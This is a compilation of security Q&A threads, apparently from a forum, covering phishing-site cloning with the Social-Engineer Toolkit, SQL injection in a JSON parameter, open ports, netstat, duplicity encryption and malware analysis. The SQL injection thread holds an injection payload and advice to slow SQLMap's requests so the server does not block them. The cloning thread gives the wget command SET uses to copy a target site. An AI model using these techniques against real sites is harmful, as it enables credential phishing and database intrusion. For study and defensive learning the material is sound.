specify a connection timeout on the VPN
implement two-factor authentication on CRM access

For remote use, you'll need to install a certificate from a recognised Certificate Authority and enforce connectivity over TLS.


SETOOL Kit:Error: "Unable to Clone the site. Check your network connection" I have to tried to check whether a site is vulnerable to Phishing attack or not using "Setool kit" in Kali Linux. But when I tried to clone a site using this Setool Kit in Kali Linux, I got an error like:

  "Unable to clone the specific site. Check for network connection"

But I am able to browse in my browser, which means that I have Internet connection.

Does that mean that the site is secured against "Phishing attack" or is there a problem with my approach??

First off, a site can't really be vulnerable to a phishing attack. A site / email / app can always be duplicated convincingly from an aesthetic standpoint given enough time. So really, it would be the end user who is or isn't vulnerable to phishing since they are your target.

Regarding SET, the relevant logic in SET can be found here (lines 130-167). Have you tried using wget to access the site? Specifically the command used by SET:

wget --no-check-certificate -O index.html -c -k (-U [useragent]) [url]

I parenthesized the useragent parameter as it probably isn't needed if you are running this from command line on the same computer as you are running SET. Otherwise it may be a permissions issue regarding SET not being able to write to disc. Make sure that you're running SET with sudo. Also perhaps try a site like google (DO NOT ACTUALLY PHISH ANYONES GOOGLE ACCOUNT INFO) that should work just as a sanity check.


Is Open Port 25 on Web Server dangerous? Port 25 of a web server is open. We dont have any email server, since we use google mail server, but still port 25 is open. Is it dangerous to keep it open?

If it can be attacked then how it can be attacked?

I think sometimes people are confused with the word open (in a similar context), maybe imagining like having an open door in the house. Or maybe thinking that if something is open, than for hacker it must be easy to get into the system.

Having an open port doesn't necessarily mean that hacker can simply hack-it. If a service which runs behind that open port is somehow vulnerable than that can mean an open way for hacker.

And lastly, if you are not using that port than simply you can close it.


Find out what process is trying to initiate a connection in Windows I'm not trying to find established TCP connections. I have a Windows 2008 R2 server and my host-based L3 firewall is showing one TCP connection ATTEMPT to a remote address. The connection is not established as the servers are not allowed to communicate on the gateway firewall. What's the easiest and non-obtrusive way to find out this process? I cannot install sniffing tools like Wireshark on this server due to security reasons.

Given your access restrictions, you can do this:

Task Manager > View > Select Columns > PID
netstat -ano | find "127.0.0.1" (put whatever IP you want in the quotes)
Compare PID to active connections.

More information on how to use find, and netstat


How to configure SQLMap to attack JSON parameter? Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors,
{"search":"'or'1'='1"}

Output:
HTTP/1.0 200 OK

Trying to error the query
{"search":"'"}

Output: (successful)
HTTP/1.0 500 INTERNAL SERVER ERROR

Using SQLMap with --risk=3 --level=5 won't do as the server immediately blocks a large amount of request in a small amount of time.

Any luck with --delay?
    --delay=DELAY       Delay in seconds between each HTTP request

Note that something else might also cause 500 error code.


How robust is duplicity encryption when the backup server is untrusted? The top answer to this question and the article it references
explain that when an adversary can see snapshots of a Truecrypt container over time, the encryption is weakened. That same answer suggests that duplicity may be a better solution to the problem of storing encrypted data on a remote server.

I wanted to ask whether anyone could explain this in a bit more detail. The duplicity backup model uses a full backup, followed by backups of incremental changes. From a security point of view, is this a clear improvement on backing up successive snapshots?  Does the duplicity model have other weaknesses? (I mean strictly from a cryptographic security perspective: excluding time to recover backups, storage space, bandwidth, etc.)

From a strictly cryptographic sense, the Duplicity model does not have any weaknesses.

Duplicity is designed specifically for a threat model when the destination server is untrusted. It drastically improves incremental backups, because rather than transferring a diff of the already encrypted data, it sends new encrypted files, with a new key. There is no way to tell that one given incremental snapshot and another from a later date have any similarities. Each snapshot is a fixed size (25 MiB by default). From the perspective of an attacker, a new snapshot could hold 25 MiB worth of entirely new files, 25 MiB worth of incremental changes, or even 25 MiB worth of metadata (file deletion records and such). This is in contrast with a block device using XTS mode which tends to leak information when changes over time can be monitored.

Duplicity additionally signs files using GnuPG, which provides an integrity guarantee. XTS mode is often considered "poor-man's malleability resistance", but it really is very poor at that, allowing modifications with 16 byte precision. Duplicity's digital signatures ensure that even a single changed bit will be detected, even when using CBC mode.

Duplicity's backups are done in several stages:

rsync is used to compare differences between a cached record of files and your filesystem
tar is used to archive 25 MiB worth of incremental changes into a single file
gpg is used to encrypt and sign the tarball
the encrypted tarball is sent to the destination server all at once

While XTS mode provides a lot of information when changes over time are observed, all the destination server can see with duplicity is the amount of data changed. Say you take a 50 MiB file, back it up, then you modify half of it before backing it up incrementally again. If this is done with XTS, the precise areas which have been modified are visible. With duplicity, what you see is 2 encrypted 25 MiB files, and then later another encrypted 25 MiB file. You cannot compare the first backup with the second incremental backup to see what data changed. All you can see is how much changed.

The precise information the untrusted server can observe with duplicity is very limited:

the total amount of data stored
the amount of data transferred in each backup (roughly corresponding to the number of changes)
the approximate size of the total stored data (due to periodic non-incremental full backups)


opening infected files on Linux and Raspberry Pi Considering Linux's reputation for being somewhat immune to infections, and the fact that most malware are written with Windows as a target, is it safe to open possibly infected files on a Linux system?

I am aware of the more general ways of checking for an infection (rkhunter, chkrootkit, etc), but I also know these don't help if the infection somehow compromises them. What are the ways this can happen and how likely are these?

Since there is a difference in the structure and architecture between a PC and the Raspberry Pi, would using a Pi to open files and/or for forensic analysis add a layer of security?

I'm asking for systems air-gapped and isolated, so for the most part, only concerning infections and malware that might be hidden inside other files or passed through removable devices.

Not necessarily. First of all you need to identify the platform the malware is made for. If it's made to target linux, your argument is totally invalid. Secondly, there are two types of analysis that you can perform - dynamic and static. Dynamic involves running the code in a secure environment and understanding its behavior. Static analysis is mostly code examination in assembly for most executables, unless java or .Net. So, you need to identify the malware, set up a linux and a windows environment in vm's with the proper tools (diasassemblers, hex editors etc.) and find out more info the hard way. You can also set up Cuckoo, it's a very good sandbox which does automated dynamic analysis, both on windows and linux. Takes time to set up, saves lots of time in the aftermath!